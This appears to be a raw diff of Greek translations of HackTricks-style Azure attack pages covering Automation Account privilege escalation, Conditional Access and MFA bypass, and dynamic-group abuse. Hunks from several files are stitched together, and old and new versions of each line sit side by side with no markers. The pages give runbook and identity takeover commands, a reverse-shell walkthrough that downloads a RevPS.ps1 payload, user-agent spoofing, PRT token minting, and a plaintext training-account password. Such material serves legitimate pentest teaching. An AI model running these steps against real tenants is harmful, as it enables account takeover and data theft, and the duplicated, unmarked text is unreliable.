Θυμηθείτε ότι αν με κάποιο τρόπο ένας επιτιθέμενος μπορεί να εκτελέσει ένα αυθαίρετο runbook (αυθαίρετος κώδικας) σε έναν υβριδικό εργαζόμενο, θα **μεταβεί στην τοποθεσία της VM**. Αυτό θα μπορούσε να είναι μια τοπική μηχανή, μια VPC από διαφορετικό cloud ή ακόμη και μια Azure VM.
Να θυμάστε ότι αν με κάποιο τρόπο ένας επιτιθέμενος μπορεί να εκτελέσει ένα αυθαίρετο runbook (αυθαίρετος κώδικας) σε έναν υβριδικό εργαζόμενο, θα **μεταβεί στην τοποθεσία της VM**. Αυτό θα μπορούσε να είναι μια τοπική μηχανή, μια VPC από διαφορετικό cloud ή ακόμη και μια Azure VM.
Επιπλέον, αν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες Συνδεδεμένες Ταυτότητες, το runbook θα μπορεί να έχει πρόσβαση στην **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες της VM από την υπηρεσία μεταδεδομένων**.
> [!TIP]
> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνετε το token των διαχειριζόμενων ταυτοτήτων του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
> Να θυμάστε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνετε το token των διαχειριζόμενων ταυτοτήτων του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Συνοπτικά, αυτές οι άδειες επιτρέπουν να **δημιουργήσετε, να τροποποιήσετε και να εκτελέσετε Runbooks** στον Λογαριασμό Αυτοματοποίησης, τον οποίο θα μπορούσατε να χρησιμοποιήσετε για να **εκτελέσετε κώδικα** στο πλαίσιο του Λογαριασμού Αυτοματοποίησης και να κλιμακώσετε τα δικαιώματα στις ανατεθείσες **Διαχειριζόμενες Ταυτότητες** και να διαρρεύσετε **διαπιστευτήρια** και **κρυπτογραφημένες μεταβλητές** που αποθηκεύονται στον Λογαριασμό Αυτοματοποίησης.
Συνοπτικά, αυτές οι άδειες επιτρέπουν να **δημιουργήσετε, να τροποποιήσετε και να εκτελέσετε Runbooks** στον Λογαριασμό Αυτοματοποίησης, τον οποίο θα μπορούσατε να χρησιμοποιήσετε για να **εκτελέσετε κώδικα** στο πλαίσιο του Λογαριασμού Αυτοματοποίησης και να κλιμακώσετε τα δικαιώματα στις ανατεθειμένες **Διαχειριζόμενες Ταυτότητες** και να διαρρεύσετε **διαπιστευτήρια** και **κρυπτογραφημένες μεταβλητές** που αποθηκεύονται στον Λογαριασμό Αυτοματοποίησης.
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** επιτρέπει την τροποποίηση του κώδικα ενός Runbook στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
```bash
@@ -64,7 +64,7 @@ az automation runbook create --automation-account-name <account-name> --resource
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Αυτή η άδεια επιτρέπει στον χρήστη να **αναθέσει μια ταυτότητα διαχειριζόμενη από τον χρήστη** στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
Αυτή η άδεια επιτρέπει στον χρήστη να **αναθέσει μια ταυτότητα διαχειριζόμενου χρήστη** στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -104,7 +104,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Στη συνέχεια, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`** είναι δυνατή η ανάθεση ενός Scheduler σε ένα runbook χρησιμοποιώντας:
Στη συνέχεια, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`** είναι δυνατόν να ανατεθεί ένας Προγραμματιστής σε ένα runbook χρησιμοποιώντας:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -127,7 +127,7 @@ az rest --method PUT \
### `Microsoft.Automation/automationAccounts/webhooks/write`
Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατόν να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε έναν Automation Account χρησιμοποιώντας την παρακάτω εντολή.
Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατό να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε έναν Automation Account χρησιμοποιώντας την παρακάτω εντολή.
Σημειώστε ότι θα χρειαστεί να **υποδείξετε το URI του webhook** με το token που θα χρησιμοποιήσετε.
```bash
@@ -199,11 +199,11 @@ az automation source-control create \
Επιπλέον, θυμηθείτε ότι για να λειτουργήσει ο έλεγχος πηγής στους Λογαριασμούς Αυτοματοποίησης, πρέπει να έχει μια διαχειριζόμενη ταυτότητα με τον ρόλο **`Contributor`** και αν είναι διαχειριζόμενη ταυτότητα χρήστη, το client id της MI πρέπει να καθοριστεί στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
> [!TIP]
> Σημειώστε ότι δεν είναι δυνατή η αλλαγή του URL του repo ενός ελέγχου πηγής μόλις δημιουργηθεί.
> Σημειώστε ότι δεν είναι δυνατή η αλλαγή του URL του αποθετηρίου ενός ελέγχου πηγής μόλις δημιουργηθεί.
### `Microsoft.Automation/automationAccounts/variables/write`
Με την άδεια **`Microsoft.Automation/automationAccounts/variables/write`** είναι δυνατό να γράψετε μεταβλητές στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας την παρακάτω εντολή.
Με την άδεια **`Microsoft.Automation/automationAccounts/variables/write`** είναι δυνατόν να γράψετε μεταβλητές στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας την παρακάτω εντολή.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -219,7 +219,7 @@ az rest --method PUT \
```
### Custom Runtime Environments
Εάν ένας λογαριασμός αυτοματοποίησης χρησιμοποιεί ένα προσαρμοσμένο περιβάλλον εκτέλεσης, θα μπορούσε να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του περιβάλλοντος εκτέλεσης με κάποιο κακόβουλο κώδικα (όπως **ένα backdoor**). Με αυτόν τον τρόπο, κάθε φορά που εκτελείται ένα runbook που χρησιμοποιεί αυτό το προσαρμοσμένο περιβάλλον εκτέλεσης και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελείται.
Αν ένας λογαριασμός αυτοματισμού χρησιμοποιεί ένα προσαρμοσμένο περιβάλλον εκτέλεσης, θα μπορούσε να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του περιβάλλοντος εκτέλεσης με κάποιο κακόβουλο κώδικα (όπως **ένα backdoor**). Με αυτόν τον τρόπο, κάθε φορά που εκτελείται ένα runbook που χρησιμοποιεί αυτό το προσαρμοσμένο περιβάλλον εκτέλεσης και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελείται.
### Compromising State Configuration
@@ -236,22 +236,22 @@ az rest --method PUT \
- Step 2 — Zip Configuration File
Το `reverse_shell_config.ps1` συμπιέζεται σε ένα αρχείο `.zip`, καθιστώντας το έτοιμο για μεταφορά στον Azure Storage Account.
```powershell
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Βήμα 3 — Ρύθμιση Στοιχείου Αποθήκευσης & Μεταφόρτωση
Το συμπιεσμένο αρχείο ρυθμίσεων μεταφορτώνεται σε ένα προκαθορισμένο δοχείο Αποθήκευσης Azure, azure-pentest, χρησιμοποιώντας την εντολή Set-AzStorageBlobContent του Azure.
```powershell
Το συμπιεσμένο αρχείο ρύθμισης μεταφορτώνεται σε ένα προκαθορισμένο δοχείο Αποθήκευσης Azure, azure-pentest, χρησιμοποιώντας την εντολή Set-AzStorageBlobContent του Azure.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Βήμα 4 — Προετοιμασία του Kali Box
Ο διακομιστής Kali κατεβάζει το RevPS.ps1 payload από ένα αποθετήριο GitHub.
Ο διακομιστής Kali κατεβάζει το payload RevPS.ps1 από ένα αποθετήριο GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Το σενάριο επεξεργάζεται για να καθορίσει το στόχο Windows VM και την πόρτα για το reverse shell.
Το σενάριο επεξεργάζεται για να καθορίσει το στοχευμένο Windows VM και την πόρτα για το reverse shell.
- Βήμα 5 — Δημοσίευση Αρχείου Ρυθμίσεων
@@ -1,22 +1,22 @@
# Az - Πολιτικές Προσβάσεως & Παράκαμψη MFA
# Az - Πολιτικές Προσβάσεως με Όρους & Παράκαμψη MFA
{{#include ../../../../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες
Οι πολιτικές προσβάσεως Conditional Access του Azure είναι κανόνες που έχουν ρυθμιστεί στο Microsoft Azure για την επιβολή ελέγχων πρόσβασης σε υπηρεσίες και εφαρμογές του Azure με βάση ορισμένες **συνθήκες**. Αυτές οι πολιτικές βοηθούν τους οργανισμούς να ασφαλίσουν τους πόρους τους εφαρμόζοντας τους κατάλληλους ελέγχους πρόσβασης υπό τις κατάλληλες συνθήκες.\
Οι πολιτικές προσβάσεως ουσιαστικά **καθορίζουν** **Ποιος** μπορεί να έχει πρόσβαση σε **Τι** από **Που** και **Πως**.
Οι πολιτικές προσβάσεως με όρους του Azure είναι κανόνες που έχουν ρυθμιστεί στο Microsoft Azure για την επιβολή ελέγχων πρόσβασης σε υπηρεσίες και εφαρμογές του Azure με βάση ορισμένες **συνθήκες**. Αυτές οι πολιτικές βοηθούν τους οργανισμούς να ασφαλίσουν τους πόρους τους εφαρμόζοντας τους κατάλληλους ελέγχους πρόσβασης υπό τις κατάλληλες συνθήκες.\
Οι πολιτικές προσβάσεως με όρους βασικά **καθορίζουν** **Ποιος** μπορεί να έχει πρόσβαση σε **Τι** από **Που** και **Πως**.
Ακολουθούν μερικά παραδείγματα:
1. **Πολιτική Κινδύνου Σύνδεσης**: Αυτή η πολιτική θα μπορούσε να ρυθμιστεί ώστε να απαιτεί πολυπαραγοντική αυθεντικοποίηση (MFA) όταν ανιχνεύεται κίνδυνος σύνδεσης. Για παράδειγμα, αν η συμπεριφορά σύνδεσης ενός χρήστη είναι ασυνήθιστη σε σύγκριση με το κανονικό του μοτίβο, όπως η σύνδεση από μια διαφορετική χώρα, το σύστημα μπορεί να ζητήσει επιπλέον αυθεντικοποίηση.
2. **Πολιτική Συμμόρφωσης Συσκευών**: Αυτή η πολιτική μπορεί να περιορίσει την πρόσβαση στις υπηρεσίες Azure μόνο σε συσκευές που συμμορφώνονται με τα πρότυπα ασφαλείας του οργανισμού. Για παράδειγμα, η πρόσβαση θα μπορούσε να επιτρέπεται μόνο από συσκευές που διαθέτουν ενημερωμένο λογισμικό antivirus ή εκτελούν μια συγκεκριμένη έκδοση λειτουργικού συστήματος.
2. **Πολιτική Συμμόρφωσης Συσκευών**: Αυτή η πολιτική μπορεί να περιορίσει την πρόσβαση σε υπηρεσίες του Azure μόνο σε συσκευές που συμμορφώνονται με τα πρότυπα ασφαλείας του οργανισμού. Για παράδειγμα, η πρόσβαση θα μπορούσε να επιτρέπεται μόνο από συσκευές που διαθέτουν ενημερωμένο λογισμικό antivirus ή εκτελούν μια συγκεκριμένη έκδοση λειτουργικού συστήματος.
## Παράκαμψη Πολιτικών Προσβάσεως
## Παράκαμψη Πολιτικών Προσβάσεως με Όρους
Είναι πιθανό μια πολιτική προσβάσεως να **ελέγχει κάποιες πληροφορίες που μπορούν να παραποιηθούν εύκολα επιτρέποντας την παράκαμψη της πολιτικής**. Και αν, για παράδειγμα, η πολιτική ρύθμιζε MFA, ο επιτιθέμενος θα μπορεί να την παρακάμψει.
Είναι πιθανό μια πολιτική προσβάσεως με όρους να **ελέγχει κάποιες πληροφορίες που μπορούν να παραποιηθούν εύκολα επιτρέποντας την παράκαμψη της πολιτικής**. Και αν, για παράδειγμα, η πολιτική ρυθμίζει MFA, ο επιτιθέμενος θα μπορεί να την παρακάμψει.
Κατά τη ρύθμιση μιας πολιτικής προσβάσεως, είναι απαραίτητο να υποδειχθούν οι **χρήστες** που επηρεάζονται και οι **στόχοι πόροι** (όπως όλες οι εφαρμογές cloud).
Κατά τη ρύθμιση μιας πολιτικής προσβάσεως με όρους, είναι απαραίτητο να υποδειχθούν οι **χρήστες** που επηρεάζονται και οι **στόχοι πόροι** (όπως όλες οι εφαρμογές cloud).
Είναι επίσης απαραίτητο να ρυθμιστούν οι **συνθήκες** που θα **ενεργοποιήσουν** την πολιτική:
@@ -25,7 +25,7 @@
- **Κίνδυνοι Microsoft**: Κίνδυνος χρήστη, κίνδυνος σύνδεσης, κίνδυνος εσωτερικού
- **Πλατφόρμες συσκευών**: Οποιαδήποτε συσκευή ή επιλέξτε Android, iOS, Windows phone, Windows, macOS, Linux
- Αν δεν έχει επιλεγεί “Οποιαδήποτε συσκευή” αλλά έχουν επιλεγεί όλες οι άλλες επιλογές, είναι δυνατόν να παρακαμφθεί χρησιμοποιώντας έναν τυχαίο user-agent που δεν σχετίζεται με αυτές τις πλατφόρμες
- **Εφαρμογές πελάτη**: Οι επιλογές είναι “Περιηγητής”, “Εφαρμογές κινητών και επιτραπέζιοι πελάτες”, “Exchange ActiveSync πελάτες” και Άλλοι πελάτες”
- **Εφαρμογές πελάτη**: Οι επιλογές είναι “Περιηγητής”, “Εφαρμογές κινητών και επιτραπέζιοι πελάτες”, “Exchange ActiveSync πελάτες” και Άλλοι πελάτες”
- Για να παρακαμφθεί η σύνδεση με μια μη επιλεγμένη επιλογή
- **Φίλτρο για συσκευές**: Είναι δυνατόν να δημιουργηθεί ένας κανόνας σχετικός με τη χρησιμοποιούμενη συσκευή
- **Ροές αυθεντικοποίησης**: Οι επιλογές είναι “Ροή κωδικού συσκευής” και “Μεταφορά αυθεντικοποίησης”
@@ -35,12 +35,12 @@
### Πλατφόρμες Συσκευών - Συνθήκη Συσκευής
Είναι δυνατόν να ρυθμιστεί μια συνθήκη με βάση την **πλατφόρμα συσκευής** (Android, iOS, Windows, macOS...), ωστόσο, αυτό βασίζεται στον **user-agent** οπότε είναι εύκολο να παρακαμφθεί. Ακόμα και **κάνοντάς όλες τις επιλογές να επιβάλλουν MFA**, αν χρησιμοποιήσετε έναν **user-agent που δεν αναγνωρίζεται,** θα μπορείτε να παρακάμψετε το MFA ή τον αποκλεισμό:
Είναι δυνατόν να ρυθμιστεί μια συνθήκη με βάση την **πλατφόρμα συσκευής** (Android, iOS, Windows, macOS...), ωστόσο, αυτό βασίζεται στον **user-agent** οπότε είναι εύκολο να παρακαμφθεί. Ακόμη και **κάνοντάς όλες τις επιλογές να επιβάλλουν MFA**, αν χρησιμοποιήσετε έναν **user-agent που δεν αναγνωρίζεται,** θα μπορείτε να παρακάμψετε το MFA ή τον αποκλεισμό:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
Απλά κάνοντας τον περιηγητή **να στείλει έναν άγνωστο user-agent** (όπως `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) είναι αρκετό για να μην ενεργοποιηθεί αυτή η συνθήκη.\
Μπορείτε να αλλάξετε τον user agent **χειροκίνητα** στα εργαλεία προγραμματιστή:
Μπορείτε να αλλάξετε τον user agent **χειροκίνητα** στα εργαλεία ανάπτυξης:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
@@ -48,15 +48,15 @@
### Τοποθεσίες: Χώρες, εύρη IP - Συνθήκη Συσκευής
Αν αυτό έχει ρυθμιστεί στην πολιτική προσβάσεως, ένας επιτιθέμενος θα μπορούσε απλά να χρησιμοποιήσει ένα **VPN** στη **επιτρεπόμενη χώρα** ή να προσπαθήσει να βρει έναν τρόπο να αποκτήσει πρόσβαση από μια **επιτρεπόμενη διεύθυνση IP** για να παρακάμψει αυτές τις συνθήκες.
Αν αυτό έχει ρυθμιστεί στην πολιτική προσβάσεως με όρους, ένας επιτιθέμενος θα μπορούσε απλά να χρησιμοποιήσει ένα **VPN** στη **επιτρεπόμενη χώρα** ή να προσπαθήσει να βρει έναν τρόπο πρόσβασης από μια **επιτρεπόμενη διεύθυνση IP** για να παρακάμψει αυτές τις συνθήκες.
### Εφαρμογές Cloud
Είναι δυνατόν να ρυθμιστούν **πολιτικές προσβάσεως για να αποκλείσουν ή να επιβάλουν** για παράδειγμα MFA όταν ένας χρήστης προσπαθεί να αποκτήσει πρόσβαση σε **συγκεκριμένη εφαρμογή**:
Είναι δυνατόν να ρυθμιστούν **πολιτικές προσβάσεως με όρους για να αποκλείσουν ή να επιβάλουν** για παράδειγμα MFA όταν ένας χρήστης προσπαθεί να έχει πρόσβαση σε **συγκεκριμένη εφαρμογή**:
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
Για να προσπαθήσετε να παρακάμψετε αυτή την προστασία, θα πρέπει να δείτε αν μπορείτε να **συνδεθείτε μόνο σε οποιαδήποτε εφαρμογή**.\
Για να προσπαθήσετε να παρακάμψετε αυτή την προστασία, θα πρέπει να δείτε αν μπορείτε **να συνδεθείτε μόνο σε οποιαδήποτε εφαρμογή**.\
Το εργαλείο [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) έχει **δεκάδες αναγνωριστικά εφαρμογών σκληρά κωδικοποιημένα** και θα προσπαθήσει να συνδεθεί σε αυτά και να σας ενημερώσει και να σας δώσει ακόμη και το token αν είναι επιτυχές.
Για να **δοκιμάσετε συγκεκριμένα αναγνωριστικά εφαρμογών σε συγκεκριμένους πόρους** μπορείτε επίσης να χρησιμοποιήσετε ένα εργαλείο όπως:
@@ -67,7 +67,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
```
Επιπλέον, είναι επίσης δυνατό να προστατευθεί η μέθοδος σύνδεσης (π.χ. αν προσπαθείτε να συνδεθείτε από τον περιηγητή ή από μια επιτραπέζια εφαρμογή). Το εργαλείο [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) εκτελεί κάποιους ελέγχους για να προσπαθήσει να παρακάμψει αυτές τις προστασίες επίσης.
Το εργαλείο [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) θα μπορούσε επίσης να χρησιμοποιηθεί για παρόμοιους σκοπούς, αν και φαίνεται ότι δεν συντηρείται.
Το εργαλείο [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) θα μπορούσε επίσης να χρησιμοποιηθεί για παρόμοιους σκοπούς αν και φαίνεται ότι δεν συντηρείται.
Το εργαλείο [**ROPCI**](https://github.com/wunderwuzzi23/ropci) μπορεί επίσης να χρησιμοποιηθεί για να δοκιμάσει αυτές τις προστασίες και να δει αν είναι δυνατό να παρακαμφθούν οι MFA ή οι αποκλεισμοί, αλλά αυτό το εργαλείο λειτουργεί από μια προοπτική **whitebox**. Πρέπει πρώτα να κατεβάσετε τη λίστα με τις εφαρμογές που επιτρέπονται στον ενοικιαστή και στη συνέχεια θα προσπαθήσει να συνδεθεί σε αυτές.
@@ -78,14 +78,14 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
Μια επιλογή Azure MFA είναι να **λάβετε μια κλήση στον ρυθμισμένο αριθμό τηλεφώνου** όπου θα ζητηθεί από τον χρήστη να **στείλει τον χαρακτήρα `#`**.
> [!CAUTION]
> Δεδομένου ότι οι χαρακτήρες είναι απλώς **ήχοι**, ένας επιτιθέμενος θα μπορούσε να **παραβιάσει** το **μήνυμα φωνητικού ταχυδρομείου** του αριθμού τηλεφώνου, να ρυθμίσει ως μήνυμα τον **ήχο του `#`** και στη συνέχεια, όταν ζητηθεί η MFA, να διασφαλίσει ότι το **τηλέφωνο του θύματος είναι απασχολημένο** (καλώντας το) ώστε η κλήση του Azure να ανακατευθυνθεί στο φωνητικό ταχυδρομείο.
> Καθώς οι χαρακτήρες είναι απλώς **ήχοι**, ένας επιτιθέμενος θα μπορούσε να **παραβιάσει** το **μήνυμα φωνητικού ταχυδρομείου** του αριθμού τηλεφώνου, να ρυθμίσει ως μήνυμα τον **ήχο του `#`** και στη συνέχεια, όταν ζητηθεί η MFA, να διασφαλίσει ότι το **τηλέφωνο του θύματος είναι απασχολημένο** (καλώντας το) ώστε η κλήση του Azure να ανακατευθυνθεί στο φωνητικό ταχυδρομείο.
### Συμβατές Συσκευές
Οι πολιτικές συχνά ζητούν μια συμβατή συσκευή ή MFA, οπότε ένας **επιτιθέμενος θα μπορούσε να καταχωρίσει μια συμβατή συσκευή**, να αποκτήσει ένα **PRT** token και **να παρακάμψει με αυτόν τον τρόπο την MFA**.
Οι πολιτικές συχνά ζητούν μια συμβατή συσκευή ή MFA, οπότε ένας **επιτιθέμενος θα μπορούσε να καταχωρίσει μια συμβατή συσκευή**, να αποκτήσει ένα **PRT** token και να **παρακάμψει με αυτόν τον τρόπο την MFA**.
Ξεκινήστε καταχωρίζοντας μια **συμβατή συσκευή στο Intune**, στη συνέχεια **αποκτήστε το PRT** με:
```powershell
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
@@ -106,7 +106,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
Αυτό το σενάριο αποκτά διαπιστευτήρια χρηστών και ελέγχει αν μπορεί να συνδεθεί σε ορισμένες εφαρμογές.
Αυτό είναι χρήσιμο για να δείτε αν **δεν απαιτείται MFA για να συνδεθείτε σε ορισμένες εφαρμογές** που μπορεί αργότερα να εκμεταλλευτείτε για να **κλιμακώσετε τα προνόμια**.
Αυτό είναι χρήσιμο για να δείτε αν **δεν απαιτείται MFA για να συνδεθείτε σε ορισμένες εφαρμογές** που μπορεί αργότερα να εκμεταλλευτείτε για να **κλιμακώσετε προνόμια**.
### [roadrecon](https://github.com/dirkjanm/ROADtools)
@@ -126,7 +126,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
Αυτό το εργαλείο έχει βοηθήσει στην αναγνώριση παρακάμψεων MFA και στη συνέχεια στην κακή χρήση APIs σε πολλούς παραγωγικούς AAD ενοικιαστές, όπου οι πελάτες AAD πίστευαν ότι είχαν επιβληθεί MFA, αλλά η αυθεντικοποίηση με βάση το ROPC ήταν επιτυχής.
> [!TIP]
> Πρέπει να έχετε άδειες για να καταγράψετε όλες τις εφαρμογές ώστε να μπορέσετε να δημιουργήσετε τη λίστα με τις εφαρμογές για brute-force.
> Πρέπει να έχετε δικαιώματα για να καταγράψετε όλες τις εφαρμογές ώστε να μπορέσετε να δημιουργήσετε τη λίστα με τις εφαρμογές για brute-force.
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
@@ -142,19 +142,19 @@ Invoke-MFASweep -Username <username> -Password <pass>
</strong></code></pre>
**Δοκιμάστε κάθε πύλη** αν είναι δυνατόν να **συνδεθείτε χωρίς MFA**:
```powershell
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Επειδή το **Azure** **portal** **δεν είναι περιορισμένο**, είναι δυνατόν να **συλλεχθεί ένα token από το endpoint του portal για να αποκτηθεί πρόσβαση σε οποιαδήποτε υπηρεσία ανιχνεύθηκε** από την προηγούμενη εκτέλεση. Σε αυτή την περίπτωση, το Sharepoint αναγνωρίστηκε και ζητείται ένα token για την πρόσβαση σε αυτό:
```powershell
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Υποθέτοντας ότι το token έχει την άδεια Sites.Read.All (από το Sharepoint), ακόμη και αν δεν μπορείτε να αποκτήσετε πρόσβαση στο Sharepoint από το διαδίκτυο λόγω MFA, είναι δυνατόν να χρησιμοποιήσετε το token για να αποκτήσετε πρόσβαση στα αρχεία με το παραγόμενο token:
```powershell
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## Αναφορές
@@ -4,26 +4,26 @@
## Basic Information
**Δυναμικές ομάδες** είναι ομάδες που έχουν ρυθμισμένο ένα σύνολο **κανόνων** και όλοι οι **χρήστες ή συσκευές** που ταιριάζουν με τους κανόνες προστίθενται στην ομάδα. Κάθε φορά που μια **ιδιότητα** χρήστη ή συσκευής **αλλάζεται**, οι δυναμικοί κανόνες **επαληθεύονται** ξανά. Και όταν ένας **νέος κανόνας** **δημιουργείται**, όλες οι συσκευές και οι χρήστες **ελέγχονται**.
**Dynamic groups** είναι ομάδες που έχουν ένα σύνολο **κανόνων** ρυθμισμένων και όλοι οι **χρήστες ή συσκευές** που ταιριάζουν με τους κανόνες προστίθενται στην ομάδα. Κάθε φορά που ένα **χαρακτηριστικό** χρήστη ή συσκευής **αλλάζει**, οι δυναμικοί κανόνες **επαληθεύονται** ξανά. Και όταν δημιουργείται ένας **νέος κανόνας**, όλες οι συσκευές και οι χρήστες **ελέγχονται**.
Οι δυναμικές ομάδες μπορούν να έχουν **ρόλους Azure RBAC** ανατεθειμένους σε αυτές, αλλά **δεν είναι δυνατή** η προσθήκη **ρόλων AzureAD** σε δυναμικές ομάδες.
Οι δυναμικές ομάδες μπορούν να έχουν **Azure RBAC ρόλους** ανατεθειμένους σε αυτές, αλλά **δεν είναι δυνατή** η προσθήκη **AzureAD ρόλων** σε δυναμικές ομάδες.
Αυτή η δυνατότητα απαιτεί άδεια Azure AD premium P1.
## Privesc
Σημειώστε ότι από προεπιλογή οποιοσδήποτε χρήστης μπορεί να προσκαλεί επισκέπτες στο Azure AD, οπότε, αν ένας κανόνας **δυναμικής ομάδας** δίνει **δικαιώματα** σε χρήστες με βάση **ιδιότητες** που μπορούν να **ρυθμιστούν** σε έναν νέο **επισκέπτη**, είναι δυνατόν να **δημιουργηθεί ένας επισκέπτης** με αυτές τις ιδιότητες και να **ανεβούν τα δικαιώματα**. Είναι επίσης δυνατόν για έναν επισκέπτη να διαχειρίζεται το προφίλ του και να αλλάζει αυτές τις ιδιότητες.
Σημειώστε ότι από προεπιλογή οποιοσδήποτε χρήστης μπορεί να προσκαλεί επισκέπτες στο Azure AD, οπότε, αν ένας κανόνας **δυναμικής ομάδας** δίνει **δικαιώματα** σε χρήστες με βάση **χαρακτηριστικά** που μπορούν να **ρυθμιστούν** σε έναν νέο **επισκέπτη**, είναι δυνατόν να **δημιουργηθεί ένας επισκέπτης** με αυτά τα χαρακτηριστικά και να **ανεβούν τα δικαιώματα**. Είναι επίσης δυνατό για έναν επισκέπτη να διαχειρίζεται το προφίλ του και να αλλάζει αυτά τα χαρακτηριστικά.
Αποκτήστε ομάδες που επιτρέπουν Δυναμική συμμετοχή: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
### Example
- **Παράδειγμα κανόνα**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
- **Περιγραφή κανόνα**: Οποιοσδήποτε χρήστης Επισκέπτης με δευτερεύον email που περιέχει τη λέξη 'security' θα προστεθεί στην ομάδα
- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
- **Rule description**: Οποιοσδήποτε επισκέπτης χρήστης με δευτερεύον email που περιέχει τη λέξη 'security' θα προστεθεί στην ομάδα
Για το email του χρήστη Επισκέπτη, αποδεχτείτε την πρόσκληση και ελέγξτε τις τρέχουσες ρυθμίσεις **αυτού του χρήστη** στο [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Δυστυχώς, η σελίδα δεν επιτρέπει την τροποποίηση των τιμών των ιδιοτήτων, οπότε πρέπει να χρησιμοποιήσουμε το API:
```powershell
Για το email του επισκέπτη χρήστη, αποδεχτείτε την πρόσκληση και ελέγξτε τις τρέχουσες ρυθμίσεις **αυτού του χρήστη** στο [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Δυστυχώς, η σελίδα δεν επιτρέπει την τροποποίηση των τιμών χαρακτηριστικών, οπότε πρέπει να χρησιμοποιήσουμε το API:
```bash
# Login with the gust user
